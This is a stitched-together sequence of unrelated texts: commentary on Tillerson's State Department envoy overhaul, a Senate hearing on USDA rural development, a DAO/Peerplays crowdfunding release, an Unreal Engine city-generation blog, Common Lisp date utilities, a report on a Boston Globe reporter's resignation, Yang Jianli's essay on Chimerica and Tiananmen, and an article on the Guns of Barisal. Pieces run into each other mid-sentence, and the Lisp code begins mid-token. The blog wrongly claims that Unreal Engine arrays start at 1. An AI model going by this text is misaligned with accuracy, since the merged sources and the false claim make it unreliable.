I believe that the department will be able to better execute its mission by integrating certain envoys and special representative offices within the regional and functional bureaus, and eliminating those that have accomplished or outlived their original purpose. In some cases, the State Department would leave in place several positions and offices, while in other cases, positions and offices would be either consolidated or integrated with the most appropriate bureau. If an issue no longer requires a special envoy or representative, then an appropriate bureau will manage any legacy responsibilities. This integration will address concerns that under the current structure, a special envoy or representative can circumvent the regional and functional bureaus that make up the core of the State Department. … In addition, this integration would also eliminate redundancies that dilute the ability of a bureau to deliver on its primary functions.
To achieve this goal, Tillerson proposed a fundamental overhaul in his letter. Specifically, the proposal would:
Retain three special envoys, including the ambassador-at-large for global women’s issues and the U.S. special envoy to monitor and combat anti-Semitism, but move them from the Office of the Secretary to, respectively, the Under Secretary for Civilian Security, Democracy, and Human Rights or the Bureau of Democracy, Human Rights, and Labor.
Merge several positions with similar responsibilities into three existing special envoy positions with expanded responsibilities, such as having the ambassador-at-large and coordinator of U.S. government activities to combat HIV/AIDS globally also perform the functions of the U.S. special representative for global health policy.
Have another three positions be dual-hatted with an existing under secretary or assistant secretary. For instance, the assistant secretary for oceans and international environmental and scientific affairs would also be named the special representative for environment and water resources.
Remove the titles of 21 positions and shift the responsibilities, staff, and funding to regional and functional bureaus. For instance, the Bureau of Oceans and International Environmental and Scientific Affairs would assume the responsibilities of the U.S. special envoy for climate change, and the Bureau of Western Hemisphere Affairs would assume the functions and staff of the special coordinator for Haiti.
In addition, the U.S. Agency for International Development would assume the functions of the Office of Global Food Security.
Eliminate nine positions entirely. In some cases, events have removed the need for these positions, such as the special envoy for the Six-Party Talks, which ceased in 2008. In other cases, such as with the special envoy for the Colombian peace process, the responsibilities would be performed by existing bureaus or officials.
Making no changes to 20 positions, including the ambassador-at-large and coordinator for counterterrorism and the ambassador-at-large to monitor and combat trafficking in persons.
The letter notes, however, that some of these positions, like the special representative for North Korea policy and the special presidential envoy for the global coalition to defeat the Islamic State, will be reassessed depending on evolving circumstances.
Tillerson’s decisions have not always been popular, but this proposal will enjoy broad support among diplomats. In fact, the American Foreign Service Association, the professional association of the Foreign Service, recommended in 2014 to substantially pare back the number of special envoys for many of the reasons cited by Tillerson.
Congressional support, which is important because some of the special envoy positions are legislatively mandated, is less certain. Corker responded to the letter positively:
Through the years, numbers of special envoys have accumulated at the State Department, and in many cases, their creation has done more harm than good by creating an environment in which people work around the normal diplomatic processes in lieu of streamlining them. That is one reason our committee took bipartisan action last month to require Senate confirmation of special envoys while empowering the secretary to reduce bureaucracy by reining in these often unnecessary positions.
Other members of Congress have pushed back against parts of the proposal.
Sen. Ed Markey, D-Mass., has called to retain the special envoy for climate change. Sen. Marco Rubio, R-Fla., wants to retain the U.S. special envoy for North Korean human rights issues in addition to the special representative for North Korea policy.
These statements illustrate why special envoys tend to persevere, even though the responsibilities can and should be handled by other special envoys or the normal diplomatic service or even after their issue has been overtaken by events.
Indeed, Markey wants to retain the personal representative for Northern Ireland issues nearly 20 years after the 1998 Good Friday Agreement.
As explained in this 2016 Heritage Foundation paper on State Department Reform, special envoys can be useful in rare circumstances. But too often they have been established as an alternative to existing, but underperforming, options within the existing bureaucracy, or to reassure Congress or interest groups that their concerns are being addressed.
This is insufficient justification. Underperformance at the State Department should be corrected, not circumvented, and fomenting policy incoherence to address a perception of disregard is a poor trade-off.
Tillerson is right to confront this issue in his effort to reform and improve the State Department. Hopefully, Congress will assist his efforts.WASHINGTON, Sept. 28, 2017 - Senate Democrats pushed Agriculture Department officials Thursday to support increased funding to boost rural economic development and fight the opioid crisis.
USDA officials also were urged to work within the administration to expand rural broadband access.
“Rural communities are often the first to feel effects of an economic downturn and the last to see the impacts of an improving economy,” said Michigan Sen. Debbie Stabenow, the ranking Democrat on the Senate Agriculture Committee. “As a result, we should be making more investments in rural America, not less.”
Senate Agriculture Chairman Pat Roberts, R-Kan., suggested at one point that the administration would be asking for money for USDA to help address the opioid crisis.
Anne Hazlett, a former committee aide who is now the assistant to Agriculture Secretary Sonny Perdue for rural development, rebuffed repeated attempts by Democratic senators to get her to distance herself from the Trump administration’s attempts to cut USDA-Rural Development programs.
The hearing marked Hazlett’s first appearance before Congress since Perdue eliminated the position of undersecretary for rural development and appointed Hazlett to her position.
When Stabenow asked Hazlett whether USDA needed more money for RD programs, Hazlett said she was “committed to serving the needs of rural America” and to “making effective and efficient use of resources.”
Sen. Patrick Leahy, citing concerns about the opioid crisis in his home state of Vermont, twice tried to get Hazlett to agree to support more funding for RD programs. She said only that she was committed to “steward the resources that are provided.”
“To steward them, you’re going to have to get them,” said Leahy, who is the ranking Democrat on the Appropriations Committee as well as a former chairman of the Agriculture Committee. “You’ve got to ask for the money, you’ve got to push for the money.”
But Roberts then intervened to suggest that the administration may request additional opioid funding. “I’m sure that you and I will receive a call from Anne, if not the secretary first, to ask for funding on this very important topic. And we’re united in that effort.” (USDA officials did not respond immediately to a request for comment on Roberts's statement.)
While she avoided addressing specific funding issues, Hazlett argued that the new use innovation center that Perdue plans to establish at USDA will make RD programs more effective through data analysis and program outcomes measurement. The center, which she said will consist of a team of officials working with the RD agencies, can also help communities tackle challenges such as health care access by finding and linking them to other communities that have successfully addressed those needs.
As an example, RD officials recently met with a state official and Farm Bureau leader in Kansas to advise them on the best ways to recruit doctors to rural areas, Hazlett said.
Sen. Chris Van Hollen, D-Md., pressed USDA to weigh in on a pending Federal Communications Commission case and oppose counting mobile broadband as an acceptable alternative for fixed broadband service in rural areas.
“Everyone says, and I believe you, that you care about broadband deployment. This action before the FCC is going to have a really big impact on the future of broadband deployment in rural areas,” Van Hollen said.
Christopher McLean, the acting administrator of the Rural Utilities Service, noted that the chairman of the FCC, Ajit Pai, serves on the White House rural task force that Perdue is leading. (Pai, in fact, attended a meeting of the task force Thursday at USDA and sat next to Perdue.)
“I can report that broadband is a key focus of that effort and that dialogue,” McLean said.
RD programs face funding challenges both within the Trump administration, which proposed deep cuts in spending in the president’s 2018 budget, and in Congress. There are 37 farm bill programs that don’t have funding beyond 2018, 10 of which are in the rural development and energy titles, which are managed out of USDA’s RD agencies.
The expiring programs include value-added producer grants, water and wastewater funding and biorefinery assistance.
Roberts noted the expiring programs and the importance of rural development in his opening statement, but he didn’t say how they would be funded.
“While it is a principal duty of this committee to ensure the next farm bill provides our nation’s agricultural producers with the necessary tools and resources to feed a growing and hungry world, our responsibilities, and the role of USDA, do not stop there,” he said.
“It is also critical the next farm bill works to support rural businesses, cooperatives, health clinics, schools, renewable energy and bio-based product manufacturers, and other essential services providers that serve as the backbone of the communities our farmers and ranchers call home.”
#30
For more news, go to www.Agri-Pulse.com.The Decentralized Autonomous Organization (“The DAO”) is going to start reviewing and voting on proposals this week to fund a new generation of blockchain technologies, adding that Peerplays is next in line for consideration.
The DAO’s crowdfunding drive that ended on May 28 has broken all records, raising over $130 million in Ethereum cryptocurrency tokens. The DAO leverages smart contracts on the Ethereum blockchain to enable anyone, anywhere in the world to create their own autonomous organization. It aims to back proposals which it selects for their innovative nature.
Peerplays, an online gaming and wagering platform, uses open-source blockchain technology to prove fair play at casino card games, and offers a solution to eliminate fraud in an industry where players lose an estimated $100 million a year to cheaters.
Rather than a DAO, Peerplays is called a DAC ( “C” stands for “co-op”), as besides stakeholder voting, it also distributes a percentage of its fees to members through an automatic profit-sharing payout program. BunkerChain Labs, the blockchain solutions consultant for Peerplays, has recently launched a public crowdfund and published a proposal offering 5% of the total Peerplays stake to the DAO.
“Peerplays is a cousin to the DAO, and has many shared interests”, said Jonathan Baha’i, president of BunkerChain Labs, “And since the DAO is built on Ethereum, and Peerplays will support Ethereum as a wagering instrument, it made a lot of sense for us to offer The DAO a stake in Peerplays.”
The development team at Peerplays has worked extensively with other decentralized autonomous organizations in the past, and is hopeful that they might set the example for others who are seeking funding through the newly formed Ethereum-based “DAO” project.
“Being part of a decentralized autonomous organization is never easy, it takes patience and commitment to the process of building a better world,” said Fabian Schuh, advisor and developer for Peerplays, “Peerplays is building upon everything we have learned over the past 3 years, and we are excited to offer Ethereum DAO holders the opportunity to be a part of this project.”Part 1 can be found here.
So when I last left you there was a lot of talk about how I’d created the basic data structures that I’d use to generate my city but not a lot on the the implementation of the algorithm, and that’s mostly because at the time of writing my last post nothing was finished. Luckily I’ve had a chance to really dig into code since my last post and I’m proud to say that procedurally generated cities are functioning.
They ain’t pretty but this was just a first pass. Right now I’m mostly interested in getting roads to meet up correctly and spawning buildings that face the right direction. As I continue down this road I plan to build on to the functionality a lot. Soon sidewalks and foot paths and even plant life might make it into game but you have to start some place.
So to begin let me correct a few things I got wrong last time. First of all the math for the get and set methods on my pseudo 2 dimensional array that I posted last time should actually look like this:
There’s nothing like putting your work up in the internet and then realizing you did it wrong. The problem here is one I ran into all over the place and that is that unlike almost every programming language I have ever used arrays in unreal engine start at 1 not zero. Seems like it should be a simple enough thing to remember but it tripped me up all over the place.
Once I’d fixed all of my “Arrays start at 1” errors the next thing I had to do was spawn my quadrants based of the schematics I had generated in part 1. I started by creating a few basic quadrant shapes.
I’m not going to post them all, but I created a quadrant blueprint for each of the possible quadrant shapes. I made these out of just a bunch of cubes and some simple textures. Eventually I can swap these out for actual meshes but these will do for now.
Next I needed to do was to spawn buildings at the right coordinates within each of these quadrants. I could probably have used math to determine the exact center of each tile in the quadrant and the rotation, but as seeing as these things are already going to be spawned all over the place and in different rotations, I figured the simplest way to do this is to just create scene components on each of the quadrants where a possible house could be. Then once the quadrant is in place I just get the world transform of that component and spawn a house there. saved me tons of time and headache. I’m not sure if this is best practice but It made my life a lot easier.
That’s basically all it took to get this running. |
-second ) ( minute'#:unused-minute ) ( hour'#:unused-hour ) ( tz'#:unused-tz ) ( dst-p'#:unused-dst-p )) date &body body ) "Take a date, split it up into it's parts and run the code in body." ` ( multiple-value-bind (, second, minute, hour, day, month, year, day-of-week, dst-p, tz ) ( decode-universal-time, date ) ( declare ( ignorable, second, minute, hour, day, month, year, day-of-week, dst-p, tz )),@ body )) ( defun leap-year? ( year ) "Take a year and return T if a leap year, otherwise NIL" ( or ( and ( eql 0 ( mod year 4 )) ( not ( eql 0 ( mod year 100 )))) ( eql 0 ( mod year 400 )))) ( defun days-in-month ( month year ) "Takes a month,year and returns the number of days in it" ( if ( not ( eql month 2 )) ( cdr ( assoc month *months* )) ( if ( leap-year? year ) 29 28 ))) ( defun real-date? ( day month year ) "Take a day, month and year and return t if the date is valid, nil otherwise" ( if ( and ( > day 0 ) ( > month 0 ) ( > year 1000 ) ( <= month 12 ) ( <= year 3000 ) ( <= day ( days-in-month month year ))) t nil )) ( defun make-date ( day month year &optional ( hour 0 ) ( minute 0 ) ( second 0 )) "Take the different parts of a date and return a universal date" ( when ( real-date? day month year ) ( encode-universal-time second minute hour day month year ))) ( defun gregorian-weekday ( date ) ; Credit to someone in #emacs (consolers I think but I forget) "Return the day of week for the date given, 0 indexed so 0 for Sunday, 1 for Monday etc" ( with-date ( :day day :month month :year year ) date ( mod ( + 0 ( * 365 ( 1- year )) ( floor ( 1- year ) 4 ) ( - ( floor ( 1- year ) 100 )) ( floor ( 1- year ) 400 ) ( floor ( - ( * 367 month ) 362 ) 12 ) ( if ( <= month 2 ) 0 ( if ( and ( = ( mod year 4 ) 0 ) ( not ( member ( mod year 400 ) ( list 100 200 300 )))) -1 -2 )) day ) 7 ))) ( defun file-lines ( path ) ; Credit to http://www.cl-user.net/asp/html-docs/process-file-snippset "Sucks up an entire file from PATH into a list of freshly-allocated strings, returning two values: the list of strings and the number of lines read." ( with-open-file ( s path ) ( loop for line = ( read-line s nil nil ) while line collect line into lines counting t into line-count finally ( return ( values lines line-count ))))) ( defun split-by-one-space ( string ) ; Credit to http://cl-cookbook.sourceforge.net/strings.html#reverse "Returns a list of substrings of string divided by ONE space each. Note: Two consecutive spaces will be seen as if there were an empty string between them." ( loop for i = 0 then ( 1+ j ) as j = ( position #\Space string :start i ) collect ( parse-integer ( subseq string i j ) :junk-allowed t ) while j )) ( defun read-date ( date-string ) "Take a string containing a date and return the date structure, or NIL if the string is in the wrong format" ( let (( loaded-date ( split-by-one-space date-string ))) ( if ( and ( equal ( length loaded-date ) 3 ) ( every 'numberp loaded-date ) ( real-date? ( car loaded-date ) ( cadr loaded-date ) ( caddr loaded-date ))) ( make-date ( car loaded-date ) ( cadr loaded-date ) ( caddr loaded-date )) nil ))) ( defun load-date ( filename ) "Take a filename and read a list of space separated dates into a list, returns the list" ( loop for line in ( file-lines filename ) collect ( split-by-one-space line ))) ( setf *bank-holidays* ( load-date "/var/www/lisp/bank-holidays.txt" )) ( defun bank-holiday? ( date ) "Return T if bank-holiday and nil otherwise" ( with-date ( :day day :month month :year year ) date ( find date *bank-holidays* :test #' equal ))) ( defun next-day ( date ) "Take a date and return the next one" ( with-date ( :day day :month month :year year ) date ( if ( not ( eql day ( days-in-month month year ))) ( make-date ( + 1 day ) month year ) ( if ( eql month 12 ) ( make-date 1 1 ( + 1 year )) ( make-date 1 ( + 1 month ) year ))))) ( defun prev-day ( date ) "Take a date and return the previous one" ( with-date ( :day day :month month :year year ) date ( if ( not ( eql day 1 )) ( make-date ( - day 1 ) month year ) ( if ( eql month 1 ) ( make-date ( days-in-month 12 year ) 12 ( - year 1 )) ( make-date ( days-in-month ( - month 1 ) year ) ( - month 1 ) year ))))) ( defun weekday? ( date ) "Return the day number if a weekday, otherwise NIL" ( with-date ( :day day :month month :year year ) date ( let (( day-of-week ( gregorian-weekday date ))) ( if ( and ( < day-of-week 6 ) ( > day-of-week 0 )) day-of-week NIL )))) ( defun work-day? ( date ) "Take a Date and return t if it's a working day, NIL otherwise" ( with-date ( :day day :month month :year year ) date ( if ( and ( weekday? date ) ( not ( bank-holiday? date ))) T nil ))) ( defun x-working-days ( date x ) "Take a date and return the date of x working days afterwards (negative number for previous)" ( if ( eql 0 x ) date ( let (( current-date date ) ( i -1 )) ( loop until ( > i ( abs x )) when ( work-day? current-date ) do ( incf i ) when ( > ( abs x ) i ) do ( setf current-date ( if ( > x 0 ) ( next-day current-date ) ( prev-day current-date ))) finally ( return current-date ))))) ( defun return-dates ( date ) "Take a 'valueDate' and return the send and completion date" ( with-date ( :day day :month month :year year ) date ( list date ( if ( work-day? date ) ( x-working-days date -2 ) ( x-working-days date -1 )) ( x-working-days date 2 )))) ( defun grab-dates ( start-date end-date ) "Get the send and completion date for every date in the range (inclusive), then return a list of 'um" ( let (( current-date start-date )) ( loop until ( equal current-date ( next-day end-date )) collect ( return-dates current-date ) do ( setf current-date ( next-day current-date ))))) ( defun format-number ( number ) "Take a number and return it as a string, put a 0 in front of it if it's single digits" ( if ( and ( > number -1 ) ( < number 10 )) ( format nil "0~A" number ) ( format nil "~A" number ))) ( defun format-date ( date ) "Take a date and return it as a nicely formatted string" ( with-date ( :day day :month month :year year ) date ( format nil "~A/~A/~A" ( format-number day ) ( format-number month ) year ))) ( defun day-name ( date ) ( with-date ( :day day :month month :year year ) date ( cdr ( assoc ( gregorian-weekday date ) *day-names* )))) ( defun date> ( first second ) "Returns nil if second date is larger than first, otherwise it returns first" ( with-date ( :day first-day :month first-month :year first-year ) first ( with-date ( :day second-day :month second-month :year second-year ) second ( if ( equal ( list first-day first-month first-year ) ( list second-day second-month second-year )) nil ( if ( or ( > first-year second-year ) ( and ( equal first-year second-year ) ( > first-month second-month )) ( and ( equal first-year second-year ) ( equal first-month second-month ) ( > first-day second-day ))) first nil ))))) ( defun date< ( first second ) "Returns nil if second date is smaller than first, otherwise it returns first" ( if ( date> second first ) first nil )) ( defun date-within-range? ( date max-date min-date ) "Return date if it's in-between the min and max dates, inclusively" ( if ( and ( or ( equal date min-date ) ( date> date min-date )) ( or ( equal date max-date ) ( date< date max-date ))) date nil )) ( defun date-range ( start end ) "Take two dates and return the inclusive range between them." ( if ( equal start end ) ( list start ) ( if ( date> start end ) ( cons start ( date-range ( prev-day start ) end )) ( cons start ( date-range ( next-day start ) end )))))
Here is the bank-holidays1.txt I used, it contains all the UK bank holidays for the next few years.
Feel free to use the bits I wrote for anything you want, any feedback of how I could improve things would be appreciated.
Cheers, Dave.
Edit:
I have taken some of the advice given in that comment, and I have tweaked the code. I noticed that transactions take three days to complete, inclusive of the send day. So while allowing two working days is usually enough, we need to allow three if we’re sending the transaction on a weekend or bank holiday. I also fixed a bug to get rid of a trailing space on all lines when printing the CSV.
Interestingly I did find some mistakes after comparing my results with a dump of the database’s table, so it was worth checking after all!
Next up I am going to take up the suggestion of using decode-universal-time and encode-universal-time. (Hopefully, that will mainly involve changing the with-date macro, we will see…)
Edit2:
I have sorted out the with-date macro and other parts of the code, so they now use proper universal time-stamps.
Also, I have been forced to learn how packages work to get Hunchentoot and co to work so I have now made this into a package that I can use from my other projects.Boston Globe, Massachusetts Legislature, Media and Journalism, sexual harrassment, State Government
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A PROMINENT BOSTON GLOBE State House reporter, who was the subject of an internal sexual harassment complaint, was forced out last month after reporters and editors at the paper learned he allegedly initiated inappropriate communications with women who work on Beacon Hill, who were fearful of rebuffing his advances outright because of his position, say sources.
According to sources familiar with the situation, Jim O’Sullivan, a longtime State House fixture who had been one of the Globe’s leading political reporters, was forced to resign after Globe reporters were alerted during the course of reporting on sexual harassment in the Legislature that he had uncomfortable and unwanted written communications with at least one woman, and possibly a second, who had work-related dealings with the Globe. It’s unclear whether the women worked in state government or in some other capacity on Beacon Hill.
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The forced resignation came eight months after O’Sullivan was the subject of a complaint to the Globe’s human resources department by a young woman who worked at the paper. The internal incident was detailed as part of a larger story the Globe ran on December 8 about sexual harassment in the media. O’Sullivan was not named in the article, which referred only to a “male employee” journalist at the paper, a decision that has stirred controversy because of the Globe’s coverage of the so-called #MeToo movement and its willingness to name names in covering other incidents.
The Globe story recounted a number of incidents, past and present, concerning the atmosphere at the paper and provided a few details about the internal incident involving the male employee. “Later, the male employee was pressured into resigning after additional accusations emerged from outside the company, according to two people familiar with the situation,” Globe reporter Mark Arsenault wrote.
But sources tell CommonWealth that in late October and early November, a Globe reporter investigating the breadth of sexual harassment in the Legislature had been given vague references to O’Sullivan having inappropriate communications with at least one woman working on Beacon Hill. The reporter pursued the information further and felt there was enough concern to bring it to Globe editor Brian McGrory in mid-November.
O’Sullivan’s last byline appeared in the Globe on November 17. He had recently written stories about sexual harassment policies in the House and Senate after reports of prominent men being accused of sexual misconduct erupted around the nation. Many of the men were accused of using their positions to coerce women into unwanted interactions.
It’s unclear what, if any, discipline O’Sullivan received following the internal complaint, but the alleged conduct on Beacon Hill occurred after the internal incident, sources confirmed. McGrory declined to comment about the situation other than to refer to an internal memo he released when the story about reporting on sexual harassment in the media was published.
McGrory declined to address questions about O’Sullivan, who did not respond to a request for comment, and why he was not named, as the paper had done with allegations of sexual harassment against people elsewhere. The Globe has written stories about individuals such as WBUR’s Tom Ashbrook, Boston union leader Tyrek Lee, and NESN anchor Marc James, who exchanged texts with a woman who turned down his requests for a date. In his memo to staff, McGrory defended his decision as a matter of standards
“Quite simply, the transgressions would not meet our standards for a reportable event if they happened at another company,” McGrory wrote. “To all our knowledge, nobody was physically touched; no one was persistently harassed; there were no overt threats. We’re covering it because we’re applying an extra measure of transparency to ourselves.”
Meet the Author Jack Sullivan Senior Investigative Reporter, CommonWealth About Jack Sullivan Jack Sullivan is a veteran of the Boston newspaper scene for nearly three decades. Prior to joining CommonWealth, he was editorial page editor of The Patriot Ledger in Quincy, a part of the GateHouse Media chain. Prior to that he was news editor at another GateHouse paper, The Enterprise of Brockton, and also was city edition editor at the Ledger. Jack was an investigative and enterprise reporter and executive city editor at the Boston Herald and a reporter at The Boston Globe. He has reported stories such as the federal investigation into the Teamsters, the workings of the Yawkey Trust and sale of the Red Sox, organized crime, the church sex abuse scandal and the September 11 terrorist attacks. He has covered the State House, state and local politics, K-16 education, courts, crime, and general assignment. Jack received the New England Press Association award for investigative reporting for a series on unused properties owned by the Catholic Archdiocese of Boston, and shared the association's award for business for his reporting on the sale of the Boston Red Sox. As the Ledger editorial page editor, he won second place in 2007 for editorial writing from the Inland Press Association, the nation's oldest national journalism association of nearly 900 newspapers as members. At CommonWealth, Jack and editor Bruce Mohl won first place for In-Depth Reporting from the Association of Capitol Reporters and Editors for a look at special education funding in Massachusetts. The same organization also awarded first place to a unique collaboration between WFXT-TV (FOX25) and CommonWealth for a series of stories on the Boston Redevelopment Authority and city employees getting affordable housing units, written by Jack and Bruce. A Boston native, Jack has lived in Massachusetts all his life. He was a major in English and history with a minor in political science at the University of Massachusetts, Boston. A father and grandfather, he lives in Plymouth with his wife, Susan. About Jack Sullivan Jack Sullivan is a veteran of the Boston newspaper scene for nearly three decades. Prior to joining CommonWealth, he was editorial page editor of The Patriot Ledger in Quincy, a part of the GateHouse Media chain. Prior to that he was news editor at another GateHouse paper, The Enterprise of Brockton, and also was city edition editor at the Ledger. Jack was an investigative and enterprise reporter and executive city editor at the Boston Herald and a reporter at The Boston Globe. He has reported stories such as the federal investigation into the Teamsters, the workings of the Yawkey Trust and sale of the Red Sox, organized crime, the church sex abuse scandal and the September 11 terrorist attacks. He has covered the State House, state and local politics, K-16 education, courts, crime, and general assignment. Jack received the New England Press Association award for investigative reporting for a series on unused properties owned by the Catholic Archdiocese of Boston, and shared the association's award for business for his reporting on the sale of the Boston Red Sox. As the Ledger editorial page editor, he won second place in 2007 for editorial writing from the Inland Press Association, the nation's oldest national journalism association of nearly 900 newspapers as members. At CommonWealth, Jack and editor Bruce Mohl won first place for In-Depth Reporting from the Association of Capitol Reporters and Editors for a look at special education funding in Massachusetts. The same organization also awarded first place to a unique collaboration between WFXT-TV (FOX25) and CommonWealth for a series of stories on the Boston Redevelopment Authority and city employees getting affordable housing units, written by Jack and Bruce. A Boston native, Jack has lived in Massachusetts all his life. He was a major in English and history with a minor in political science at the University of Massachusetts, Boston. A father and grandfather, he lives in Plymouth with his wife, Susan.
The initial Globe story about Ashbrook, a former top Globe editor, said he had been suspended pending investigations into unspecified allegations, while the story on Lee said “[u]nion officials did not detail the allegations” and it reported no details, making it difficult to determine if those incidents met the same standard applied to O’Sullivan’s case. The texts between James and the woman first appeared on her Facebook page and the Globe then did a story on that, though she never claimed James threatened or harassed her, just that his responses were arrogant and inappropriate.
A source said McGrory had a meeting with about a dozen female editors and managers at the Globe about how the story on incidents at the paper was going to be handled, and while there was an animated discussion, there was “quite a bit of agreement” among the women about withholding O’Sullivan’s name as well as the names of other employees being written about in the Arsenault story.
SHAREBy Yang Jianli, published: December 7, 2015
In Washington, D.C. recently, my friend Alan Curtis invited me to watch Chimerica, which was written by the British playwright Lucy Kirkwood. The play focuses on finding clues to the identity of Tank Man, the iconic and still unknown protester from Tiananmen Square, and explores the contemporary relationship between China and the West. During my three hours in the theater, my mind repeatedly returned to Tiananmen Square, where I was a participant in the 1989 democracy movement, and a witness to the ensuing massacre.
The photograph of the Tank Man on Beijing’s Chang’an Avenue confronting state violence is one of the most iconic images of the 20th century. For more than two decades, people around the world have wondered what became of him. But both he and his fate remain unknown—though his name is thought to be Wang Weilin.
Twenty-six years ago, just after the massacre had taken place, the Chinese regime tried to use the photo of Tank Man as proof that the military had responded to the “thugs” with restraint. The world was not fooled. On the morning of June 4, 1989, I personally witnessed four tanks running over demonstrators at Liubukou on Chang’an Avenue. At least eleven of them were killed or injured. Among the victims was Fang Zheng, who lost his legs and now lives in San Francisco. My prison poem “The Unusual June” described what I saw at Liubukou: “Bloodying hooves of the iron beast / bodies flattened with angry eyes.”
In the famous scene caught by an American journalist, however, a column of tanks in fact showed restraint as it confronted the young man. It is possible that the soldier in the first tank acted not in accordance with military orders but out of his own moral conviction, and got punished for it. Indeed, Pico Lyer, writing for Time magazine, opined: “The heroes of the tank picture are two: the unknown figure who risked his life by standing in front of the juggernaut and the driver who rose to the moral challenge by refusing to mow down his compatriot.”
In Chimerica, the search for the Tank Man leads to a man named Wang Pengfei who is the brother of the tank driver, or the other tank man.
Wang Pengfei reveals that his brother was executed by the Chinese military for upholding his conscience. He tearfully cries, “My brother, the tank driver, he is also a hero!”
Although this is a creative imagining, it is not far-fetched. At that moment in Chang’an Avenue, outside the Grand Beijing Hotel, two brave young Chinese men came face to face. They both may have sacrificed their lives in ways unknown to outsiders. As I put it in “The Unusual June”: “Each one’s star lighting the other’s way to heaven.”
Heroic feats often happen in moments that go unnoticed. In June of 1989, the streets of Beijing witnessed many Chinese like Wang Weilin, standing face-to-face with soldiers. They may have been Wang Weilin, Xu Qin, Yan Heran, or Zhang Mingchun. When tanks were on the streets, some Chinese soldiers opposed the order to massacre. Chimerica reminds us that those who stand opposite us are not necessarily our enemies, and that common sense and conscience can prevail even under brutal circumstances.
I am convinced that no matter how difficult the road ahead, the general direction of China’s future can only be towards freedom and democracy. The dynamics of democratic movements do not exist only among dissidents. Although the Chinese communist regime has become increasingly unwilling to reform politically, some individuals within the system don’t wish to stand in the way of history.
In Chimerica, this unsung hero has sacrificed his life. In reality, those within the system who refuse to betray their consciences generally do not pay so high a price. They nonetheless need considerable moral courage to face the risks and pressure. Any police or military officer, and any one in the authoritarian state machinery, can be a hero if they are willing to “raise their guns an inch higher” when implementing an order of suppression. Their names may be unknown, but they will be heroes of the historical process. Just like the Tank Man.
Part of the pain in my heart I felt when watching Chimerica came from one very vivid experience. On the morning of June 4, 1989, when the troops were killing people at various locations in Beijing, I saw a soldier on Chang’an Avenue in front of the Telegraph Building. He was obviously separated from the troops, and he had no helmet or gun. He looked like a teenager. The people I was with chased him out of sadness and anger. I gave him a punch, and my companion Huang Liping gave him a kick. More and more people gathered and beat him up. Knocked to the ground, the soldier screamed: “I didn’t do it! I didn’t shoot!” Suddenly I realized that a tragedy was taking place. By then it was impossible to stop the violence. In desperation, Huang and I left the scene without looking back. A few minutes later, I knew from the loud voices behind me that the soldier had been killed. Huang and I silently shed tears.
That young soldier was perhaps one of the tank men in the opposite camp. Like all the soldiers, he had been forced to come to Beijing to massacre protesting students and citizens. Like us, he was too powerless to prevent the tragedy from happening. Out of conscience, he had probably refused to kill and chosen instead to be a deserter. If that was the case, he was a real hero.
But within the tragic events of the day, anger and irrationality got the better of me. I saw him as my enemy and struck him. This might be the biggest sin of my life. I cannot imagine the pain he suffered when he was dying and what was on his mind at that moment.
As I wrote in “The Unusual June”:
“Millions of heads / millions of steps / were involved in my life / millions of heads / millions of steps / were involved in my birth /millions of heads / like a grand explosion of planets /disappear suddenly, all at once /millions of steps / all disappear, little by little / Oh, my dearest”
“Every time / my poems cannot stop my tears / my agitated eyes and lacerated heart /all pain, not a disease / not even my compassion / I’m not an outsider.”
We have been living with this wound all these years. We should keep looking for the Tank Man, for Wang Weilin. And we should keep looking for the other tank man, who halted his advance. We should look for the loved ones of the young soldier who died in the violence in which I took part. I look forward to the day when I find his family and share with them my guilt: I too have been mourning him all these years.
Chimerica is an excellent play that has been performed in Britain and America over the past two years. More performances are planned, which will bring renewed attention to both tank men. Their stories have not yet ended, nor the history of which they are a part.
November 11, 2015
Yang Jianli (杨建利) is the founder and president of Initiatives for China, a democracy advocacy organization in Washington, D.C.
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Like this: Like Loading...The Guns of Barisal and Anomalous Sound Propagation
Contents
Introduction
Barisal is a small port on the Tetulia mouth of the River Ganges, on the northern shore of the Bay of Bengal, about 130 mi. east of Calcutta, and about the same distance south of Dacca, in Bangladesh. From the 1870's there were reports of hearing sounds resembling cannon fire, coming from the south or southeast. They occurred mainly from February to October, very seldom from November to January, and the source was unknown. The sounds were often multiple, in groups of two or three.
Similar sounds, called in the Netherlands and Belgium mistpoeffers, or in Italy brontidi, or marinas, or in the Phillipines retumbos, or elsewhere fog guns, were heard from time to time. They were reported from Passamaquoddy Bay in southwestern New Brunswick, in Belgium and Scotland, at Cedar Keys, Florida, Lough Neagh in Ireland, and in Western Australia, and in Victoria State. They were reported on an Adriatic island in 1824, at Franklinville, NY in 1896, and in northern Georgia. Lewis and Clark heard them on 4 July 1805. Though often heard at coastal locations and beside lakes, they were also heard away from bodies of water, and were described as booms, like thunder, or the discharge of cannon.
You may read in encyclopedias that the Guns of Barisal are supposed to be caused by earth movments too feeble to be felt. Earthquakes can make noises, but not when no movements are felt, and the noises are not like guns. The Guns, indeed, show no correlation with local earthquake activity. It is quite improbable that earth movements are the cause. When a search was made for possible sources, nothing was ever found. Sometimes it was thought that they might come from blasting a few miles away, but when this was investigated, nothing was found. The Barisal guns themselves came from the vastness of the Bay of Bengal. Thunderstorms were not reported at the time of the observations, but thunderstorms cannot usually be heard more than a few kilometers away. That the Guns were often heard near water means only that such locations were quiet enough to make unusual sounds noticeable. Not all the Guns were heard near water, anyway.
The Wikipedia article on Barisal has only one sentence dealing with the Guns, where it is suggested that they are connected with the tidal bore in the Meghna estuary. Tidal bores are regular phenomena, and if they somehow caused the Guns here, the Guns would be heard regularly, which they are not.
Seneca Lake in New York was the site of noises that were thought to come from the release of bubbles of natural gas from deep in the lake, observed as early as 1903. The bubbles were not ignited, of course, and if they were they would only have burned quietly. They were thought to come from the Oriskany formation, a sandstone that had been drilled for natural gas in the vicinity. These "guns" were still around in 1934, when the gas wells had been exhausted. There were also the "Moodus noises" of the lower Connecticut valley, known to the Indians and heard from 1709 to 1729, 1852 and 1885, and were heard again in 1897. They were described as a thunder and a roar. Unexplained explosions were heard near Deerfield, NH in 1846. All these noises are mysterious, but somewhat unlike the Barisal guns and similar booms.
